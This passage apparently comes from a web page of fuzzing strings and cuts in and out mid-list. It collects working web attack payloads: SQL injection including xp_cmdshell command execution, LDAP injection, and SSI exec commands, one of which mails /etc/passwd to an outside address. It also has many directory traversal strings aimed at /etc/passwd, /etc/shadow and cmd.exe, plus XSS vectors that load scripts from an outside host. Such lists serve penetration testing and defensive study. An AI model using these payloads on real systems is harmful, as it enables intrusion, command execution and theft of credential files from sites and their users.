(8000) select @s = 0x73656c65637420404076657273696f6e<br /> exec(@s)<br /> a'<br /> ?<br /> ' or 1=1<br /> ‘ or 1=1 --<br /> x' AND userid IS NULL; --<br /> x' AND email IS NULL; --<br /> anything' OR 'x'='x<br /> x' AND 1=(SELECT COUNT(*) FROM tabname); --<br /> x' AND members.email IS NULL; --<br /> x' OR full_name LIKE '%Bob%<br /> 23 OR 1=1<br /> '; exec master..xp_cmdshell 'ping 172.10.1.255'--<br /> '<br /> '%20or%20''='<br /> '%20or%20'x'='x<br /> %20or%20x=x<br /> ')%20or%20('x'='x<br /> 0 or 1=1<br /> ' or 0=0 --<br /> &quot; or 0=0 --<br /> or 0=0 --<br /> ' or 0=0 #<br /> or 0=0 #&quot;<br /> or 0=0 #<br /> ' or 1=1--<br /> &quot; or 1=1--<br /> ' or '1'='1'--<br /> ' or 1 --'<br /> or 1=1--<br /> or%201=1<br /> or%201=1 --<br /> ' or 1=1 or ''='<br /> or 1=1 or &quot;&quot;=<br /> ' or a=a--<br /> or a=a<br /> ') or ('a'='a<br /> ) or (a=a<br /> hi or a=a<br /> hi or 1=1 --&quot;<br /> hi' or 1=1 --<br /> hi' or 'a'='a<br /> hi') or ('a'='a<br /> &quot;hi&quot;&quot;) or (&quot;&quot;a&quot;&quot;=&quot;&quot;a&quot;<br /> 'hi' or 'x'='x';<br /> @variable<br /> ,@variable<br /> PRINT<br /> PRINT @@variable<br /> select<br /> insert<br /> as<br /> or<br /> procedure<br /> limit<br /> order by<br /> asc<br /> desc<br /> delete<br /> update<br /> distinct<br /> having<br /> truncate<br /> replace<br /> like<br /> handler<br /> bfilename<br /> ' or username like '%<br /> ' or uname like '%<br /> ' or userid like '%<br /> ' or uid like '%<br /> ' or user like '%<br /> exec xp<br /> exec sp<br /> '; exec master..xp_cmdshell<br /> '; exec xp_regread<br /> t'exec master..xp_cmdshell 'nslookup www.google.com'--<br /> --sp_password<br /> \x27UNION SELECT<br /> ' UNION SELECT<br /> ' UNION ALL SELECT<br /> ' or (EXISTS)<br /> ' (select top 1<br /> '||UTL_HTTP.REQUEST<br /> 1;SELECT%20*<br /> to_timestamp_tz<br /> tz_offset<br /> &amp;lt;&amp;gt;&quot;'%;)(&amp;amp;+<br /> '%20or%201=1<br /> %27%20or%201=1<br /> %20$(sleep%2050)<br /> %20'sleep%2050'<br /> char%4039%41%2b%40SELECT<br /> &amp;amp;apos;%20OR<br /> 'sqlattempt1<br /> (sqlattempt2)<br /> |<br /> %7C<br /> *|<br /> %2A%7C<br /> *(|(mail=*))<br /> %2A%28%7C%28mail%3D%2A%29%29<br /> *(|(objectclass=*))<br /> %2A%28%7C%28objectclass%3D%2A%29%29<br /> (<br /> %28<br /> )<br /> %29<br /> &amp;amp;<br /> %26<br /> !<br /> %21<br /> ' or 1=1 or ''='<br /> ' or ''='<br /> x' or 1=1 or 'x'='y<br /> /<br /> //<br /> //*<br /> */*<br /> a' or 3=3--<br /> &quot;a&quot;&quot; or 3=3--&quot;<br /> ' or 3=3<br /> ‘ or 3=3 --<br /> &lt;/pre&gt; <br /> === SSI (Server Side Includes) - (Update: xx/xx/xx - Total Statements: 4) ===<br /> &lt;pre&gt;&amp;lt;!--#exec cmd=&quot;/bin/ls /&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &amp;lt;!--#exec cmd=&quot;cat /etc/passwd&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &amp;lt;!--#exec cmd=&quot;find / -name *.* -print&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &amp;lt;!--#exec cmd=&quot;mail Foobar@email.de &amp;lt;mailto:Foobar@email.de&amp;gt; &amp;lt; cat /etc/passwd&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &lt;/pre&gt; <br /> === Directory Traversal - (Update: 11 August 2009 - Total Statements: 132) ===<br /> &lt;pre&gt;Statement<br /> \..\WINDOWS\win.ini<br /> \..\..\WINDOWS\win.ini<br /> \..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\..\..\WINDOWS\win.ini<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> ..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> ../../../../../../../../../etc/passwd<br /> ../../../../../../../../etc/passwd<br /> ../../../../../../../etc/passwd<br /> ../../../../../../etc/passwd<br /> ../../../../../etc/passwd<br /> ../../../../etc/passwd<br /> ../../../etc/passwd<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> ../../../.htaccess<br /> ../../.htaccess<br /> ../.htaccess<br /> .htaccess<br /> ././.htaccess<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %2e%2e%2f%2e%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %2e%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %2e%68%74%61%63%63%65%73%73<br /> %2e%2f%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%32%66%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> ../../../../../../../../../../../../etc/hosts%00<br /> ../../../../../../../../../../../../etc/hosts<br /> ../../boot.ini<br /> /../../../../../../../../%2A<br /> ../../../../../../../../../../../../etc/passwd%00<br /> ../../../../../../../../../../../../etc/passwd<br /> ../../../../../../../../../../../../etc/shadow%00<br /> ../../../../../../../../../../../../etc/shadow<br /> /../../../../../../../../../../etc/passwd^^<br /> /../../../../../../../../../../etc/shadow^^<br /> /../../../../../../../../../../etc/passwd<br /> /../../../../../../../../../../etc/shadow<br /> /./././././././././././etc/passwd<br /> /./././././././././././etc/shadow<br /> \..\..\..\..\..\..\..\..\..\..\etc\passwd<br /> \..\..\..\..\..\..\..\..\..\..\etc\shadow<br /> ..\..\..\..\..\..\..\..\..\..\etc\passwd<br /> ..\..\..\..\..\..\..\..\..\..\etc\shadow<br /> /..\../..\../..\../..\../..\../..\../etc/passwd<br /> /..\../..\../..\../..\../..\../..\../etc/shadow<br /> .\\./.\\./.\\./.\\./.\\./.\\./etc/passwd<br /> .\\./.\\./.\\./.\\./.\\./.\\./etc/shadow<br /> \..\..\..\..\..\..\..\..\..\..\etc\passwd%00<br /> \..\..\..\..\..\..\..\..\..\..\etc\shadow%00<br /> ..\..\..\..\..\..\..\..\..\..\etc\passwd%00<br /> ..\..\..\..\..\..\..\..\..\..\etc\shadow%00<br /> %0a/bin/cat%20/etc/passwd<br /> %0a/bin/cat%20/etc/shadow<br /> %00/etc/passwd%00<br /> %00/etc/shadow%00<br /> %00../../../../../../etc/passwd<br /> %00../../../../../../etc/shadow<br /> /../../../../../../../../../../../etc/passwd%00.jpg<br /> /../../../../../../../../../../../etc/passwd%00.html<br /> /..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/passwd<br /> /..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/shadow<br /> /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd<br /> /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/shadow<br /> %25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%00<br /> /%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%00<br /> %25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%<br /> /%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..winnt/desktop.ini<br /> \\&amp;amp;apos;/bin/cat%20/etc/passwd\\&amp;amp;apos;<br /> \\&amp;amp;apos;/bin/cat%20/etc/shadow\\&amp;amp;apos;<br /> ../../../../../../../../conf/server.xml<br /> /../../../../../../../../bin/id|<br /> C:/inetpub/wwwroot/global.asa<br /> C:\inetpub\wwwroot\global.asa<br /> C:/boot.ini<br /> C:\boot.ini<br /> ../../../../../../../../../../../../localstart.asp%00<br /> ../../../../../../../../../../../../localstart.asp<br /> ../../../../../../../../../../../../boot.ini%00<br /> ../../../../../../../../../../../../boot.ini<br /> /./././././././././././boot.ini<br /> /../../../../../../../../../../../boot.ini%00<br /> /../../../../../../../../../../../boot.ini<br /> /..\../..\../..\../..\../..\../..\../boot.ini<br /> /.\\./.\\./.\\./.\\./.\\./.\\./boot.ini<br /> \..\..\..\..\..\..\..\..\..\..\boot.ini<br /> ..\..\..\..\..\..\..\..\..\..\boot.ini%00<br /> ..\..\..\..\..\..\..\..\..\..\boot.ini<br /> /../../../../../../../../../../../boot.ini%00.html<br /> /../../../../../../../../../../../boot.ini%00.jpg<br /> /.../.../.../.../.../<br /> ..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../boot.ini<br /> /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/boot.ini<br /> &lt;/pre&gt; <br /> ''Sorry for breaking the layout - but &quot;breaking the layout&quot; could become &quot;breaking the software&quot;.'' <br /> <br /> === XSS Statements - Most effective/most common statements ===<br /> <br /> Testing Statements <br /> &lt;pre&gt;';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//&quot;;alert(String.fromCharCode(88,83,83))//\&quot;;alert(String.fromCharCode(88,83,83))//--&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;&amp;gt;'&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt; <br /> '';!--&quot;&amp;lt;XSS&amp;gt;=&amp;amp;{()}<br /> &lt;/pre&gt; <br /> Common exploit code (covers a lot of XSS vulnerabilities) <br /> &lt;pre&gt;'&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;&amp;lt;img src=&quot;&quot; alt='<br /> &quot;&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;&amp;lt;img src=&quot;&quot; alt=&quot;<br /> \'&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;&amp;lt;img src=&quot;&quot; alt=\'<br /> '); alert('xss'); var x='<br /> \\'); alert(\'xss\');var x=\'<br /> //--&amp;gt;&amp;lt;/SCRIPT&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83));<br /> &lt;/pre&gt; <br /> === XSS Statements (Full List) - (Update: 11 August 2009 - Total Statements: 162) <br /> &lt;pre&gt;Statements<br /> &amp;lt;SCRIPT SRC=http://ha.ckers.org/xss.js&amp;gt;&amp;lt;/SCRIPT&amp;gt;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG SRC=JaVaScRiPt:alert('XSS')&amp;gt;<br /> &quot;&amp;lt;IMG SRC=javascript:alert(&quot;&quot;XSS&quot;&quot;)&amp;gt;&quot;<br /> &quot;&amp;lt;IMG SRC=`javascript:alert(&quot;&quot;RSnake says, 'XSS'&quot;&quot;)`&amp;gt;&quot;<br /> &quot;&amp;lt;IMG &quot;&quot;&quot;&quot;&quot;&quot;&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG SRC=javascript:alert(String.fromCharCode(88,83,83))&amp;gt;<br /> &amp;lt;IMG SRC=&amp;amp;#0000106&amp;amp;#0000097&amp;amp;#0000118&amp;amp;#0000097&amp;amp;#0000115&amp;amp;#0000099&amp;amp;#0000114&amp;amp;#0000105&amp;amp;#0000112&amp;amp;#0000116&amp;amp;#0000058&amp;amp;#0000097&amp;amp;#0000108&amp;amp;#0000101&amp;amp;#0000114&amp;amp;#0000116&amp;amp;#0000040&amp;amp;#0000039&amp;amp;#0000088&amp;amp;#0000083&amp;amp;#0000083&amp;amp;#0000039&amp;amp;#0000041&amp;gt;<br /> &amp;lt;IMG SRC=&amp;amp;#x6A&amp;amp;#x61&amp;amp;#x76&amp;amp;#x61&amp;amp;#x73&amp;amp;#x63&amp;amp;#x72&amp;amp;#x69&amp;amp;#x70&amp;amp;#x74&amp;amp;#x3A&amp;amp;#x61&amp;amp;#x6C&amp;amp;#x65&amp;amp;#x72&amp;amp;#x74&amp;amp;#x28&amp;amp;#x27&amp;amp;#x58&amp;amp;#x53&amp;amp;#x53&amp;amp;#x27&amp;amp;#x29&amp;gt;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot;jav&quot;<br /> &quot;ascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;perl -e 'print &quot;&quot;&amp;lt;IMG SRC=java\0script:alert(\&quot;&quot;XSS\&quot;&quot;)&amp;gt;&quot;&quot;;' &amp;gt; out&quot;<br /> &quot;perl -e 'print &quot;&quot;&amp;lt;SCR\0IPT&amp;gt;alert(\&quot;&quot;XSS\&quot;&quot;)&amp;lt;/SCR\0IPT&amp;gt;&quot;&quot;;' &amp;gt; out&quot;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot; &amp;amp;#14; javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT/XSS SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;BODY onload!#$%&amp;amp;()*~+-_.,:;?@[/|\]^`=alert(&quot;&quot;XSS&quot;&quot;)&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT/SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;);//&amp;lt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &amp;lt;SCRIPT SRC=http://ha.ckers.org/xss.js?&amp;lt;B&amp;gt;<br /> &amp;lt;SCRIPT SRC=//ha.ckers.org/.j&amp;gt;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot;javascript:alert('XSS')&quot;&quot;&quot;<br /> &amp;lt;iframe src=http://ha.ckers.org/scriptlet.html &amp;lt;<br /> &amp;lt;SCRIPT&amp;gt;a=/XSS/\nalert(a.source)&amp;lt;/SCRIPT&amp;gt;<br /> &quot;\&quot;&quot;;alert('XSS');//&quot;<br /> &quot;&amp;lt;/TITLE&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;);&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;INPUT TYPE=&quot;&quot;IMAGE&quot;&quot; SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;BODY BACKGROUND=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;BODY ONLOAD=alert('XSS')&amp;gt;<br /> &quot;&amp;lt;IMG DYNSRC=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG LOWSRC=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;BGSOUND SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;BR SIZE=&quot;&quot;&amp;amp;{alert('XSS')}&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;LAYER SRC=&quot;&quot;http://ha.ckers.org/scriptlet.html&quot;&quot;&amp;gt;&amp;lt;/LAYER&amp;gt;&quot;<br /> &quot;&amp;lt;LINK REL=&quot;&quot;stylesheet&quot;&quot; HREF=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;LINK REL=&quot;&quot;stylesheet&quot;&quot; HREF=&quot;&quot;http://ha.ckers.org/xss.css&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;STYLE&amp;gt;@import'http://ha.ckers.org/xss.css';&amp;lt;/STYLE&amp;gt;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;Link&quot;&quot; Content=&quot;&quot;&amp;lt;http://ha.ckers.org/xss.css&amp;gt;; REL=stylesheet&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;BODY{-moz-binding:url(&quot;&quot;http://ha.ckers.org/xssmoz.xml#xss&quot;&quot;)}&amp;lt;/STYLE&amp;gt;&quot;<br /> &quot;&amp;lt;XSS STYLE=&quot;&quot;behavior: url(xss.htc);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;li {list-style-image: url(&quot;&quot;javascript:alert('XSS')&quot;&quot;);}&amp;lt;/STYLE&amp;gt;&amp;lt;UL&amp;gt;&amp;lt;LI&amp;gt;XSS&quot;<br /> &quot;&amp;lt;IMG SRC='vbscript:msgbox(&quot;&quot;XSS&quot;&quot;)'&amp;gt;&quot;<br /> ¼script¾alert(¢XSS¢)¼/script¾<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;refresh&quot;&quot; CONTENT=&quot;&quot;0;url=javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;refresh&quot;&quot; CONTENT=&quot;&quot;0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;refresh&quot;&quot; CONTENT=&quot;&quot;0; URL=http://;URL=javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IFRAME SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&amp;lt;/IFRAME&amp;gt;&quot;<br /> &quot;&amp;lt;FRAMESET&amp;gt;&amp;lt;FRAME SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&amp;lt;/FRAMESET&amp;gt;&quot;<br /> &quot;&amp;lt;TABLE BACKGROUND=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;TABLE&amp;gt;&amp;lt;TD BACKGROUND=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;background-image: url(javascript:alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;background-image: url(&amp;amp;#1;javascript:alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;width: expression(alert('XSS'));&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;@im\port'\ja\vasc\ript:alert(&quot;&quot;XSS&quot;&quot;)';&amp;lt;/STYLE&amp;gt;&quot;<br /> &quot;&amp;lt;IMG STYLE=&quot;&quot;xss:expr/*XSS*/ession(alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;XSS STYLE=&quot;&quot;xss:expression(alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;exp/*&amp;lt;A STYLE='no\xss:noxss(&quot;&quot;*//*&quot;&quot;);xss:ex/*XSS*//*/*/pression(alert(&quot;&quot;XSS&quot;&quot;))'&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE TYPE=&quot;&quot;text/javascript&quot;&quot;&amp;gt;alert('XSS');&amp;lt;/STYLE&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;.XSS{background-image:url(&quot;&quot;javascript:alert('XSS')&quot;&quot;);}&amp;lt;/STYLE&amp;gt;&amp;lt;A CLASS=XSS&amp;gt;&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE type=&quot;&quot;text/css&quot;&quot;&amp;gt;BODY{background:url(&quot;&quot;javascript:alert('XSS')&quot;&quot;)}&amp;lt;/STYLE&amp;gt;&quot;<br /> &amp;lt;!--[if gte IE 4]&amp;gt;&amp;lt;SCRIPT&amp;gt;alert('XSS');&amp;lt;/SCRIPT&amp;gt;&amp;lt;![endif]--&amp;gt;<br /> &quot;&amp;lt;BASE HREF=&quot;&quot;javascript:alert('XSS');//&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;OBJECT TYPE=&quot;&quot;text/x-scriptlet&quot;&quot; DATA=&quot;&quot;http://ha.ckers.org/scriptlet.html&quot;&quot;&amp;gt;&amp;lt;/OBJECT&amp;gt;&quot;<br /> &amp;lt;OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389&amp;gt;&amp;lt;param name=url value=javascript:alert('XSS')&amp;gt;&amp;lt;/OBJECT&amp;gt;<br /> &quot;&amp;lt;EMBED SRC=&quot;&quot;http://ha.ckers.org/xss.swf&quot;&quot; AllowScriptAccess=&quot;&quot;always&quot;&quot;&amp;gt;&amp;lt;/EMBED&amp;gt;&quot;<br /> &quot;&amp;lt;EMBED SRC=&quot;&quot;data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh 